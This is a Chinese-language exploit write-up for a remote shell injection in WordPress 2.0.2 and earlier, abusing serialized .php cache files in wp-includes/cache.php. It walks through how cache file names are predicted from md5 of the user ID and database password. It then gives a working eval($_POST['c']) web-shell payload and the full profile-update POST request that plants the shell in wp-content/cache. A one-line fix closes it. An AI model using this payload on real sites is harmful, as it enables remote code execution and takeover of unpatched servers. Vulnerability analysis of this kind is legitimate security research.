WordPress <= 2.0.2 - (cache) Remote Shell Injection Exploit

  • 影响条件:
  • 程序:WordPress
  • 版本:<= 2.0.2
  • 严重程度:高危

简要

这个漏洞问题出在WordPress生成的序列化后的缓存文件中.因为缓存文件的后缀为php,文件的内容可控,并且文件名在一定条件下可预见,所以在一定条件下可以getshell

正文

首先下断点在生成问题文件的地方

程序流程图

1.png

出问题的是
wp-includes/cache.php
文件中的save()函数

save()函数序列化了用户的资料之后再保存到

wp-content/cache/userlogins,wp-content/cache/users这两个目录底下,因为序列化后的文件的后缀是.php所以只要想办法插入我们的恶意代码并且让PHP-cgi执行就好了.

1
2
3
4
5
6
7
$cache_file = $group_dir . md5($id . DB_PASSWORD) . '.php';
// Remove the cache file if the key is not set.
if (!isset ($this->cache[$group][$id])) {
if (file_exists($cache_file))
@ unlink($cache_file);
continue;
}

save()函数中生成的缓存文件名方法是md5($id . DB_PASSWORD).所以我们需要知道$id与DB_PASSWORD.

$id的其中一个值就是管理员的帐号,一般都有一个帐号叫做admin.所以md5(‘admin’.’数据库密码’)就是包涵恶意代码的文件名.

因为写入的文件内容由//开头

2.png

如果不输入一个换行符的话,会被始终认为其后的内容是注释,所以需要加入回车符号,经过url编码后的回车符号是%0D并且需要在后面再加上//防止后面序列化的字符被程序认为是我们想要执行的代码,所以最终的payload就是

1
//%0D@eval($_POST['c']);%0D//

这个漏洞的利用条件是:

  1. 文件夹有写入权限
  2. cache功能打开
  3. 知道用户的ID与数据库密码(可能为空)

发送以下完整payload,就可以在wp-content/cache/userlogins或者wp-content/cache/users/中getshell了

1
from=profile&checkuser_id=1&user_login=admin&first_name=123&last_name=&nickname=test&display_name=//%0D @eval($_POST['c']);%0D//&email=admin@example.com&url=http%3A%2F%2F&aim=&yim=&jabber=&description=&pass1=&pass2=&rich_editing=true&submit=Update+Profile+%C2%BB

修复方案:
1.将生成的文件命名为不可执行后缀例如.txt

Comments

⬆︎TOP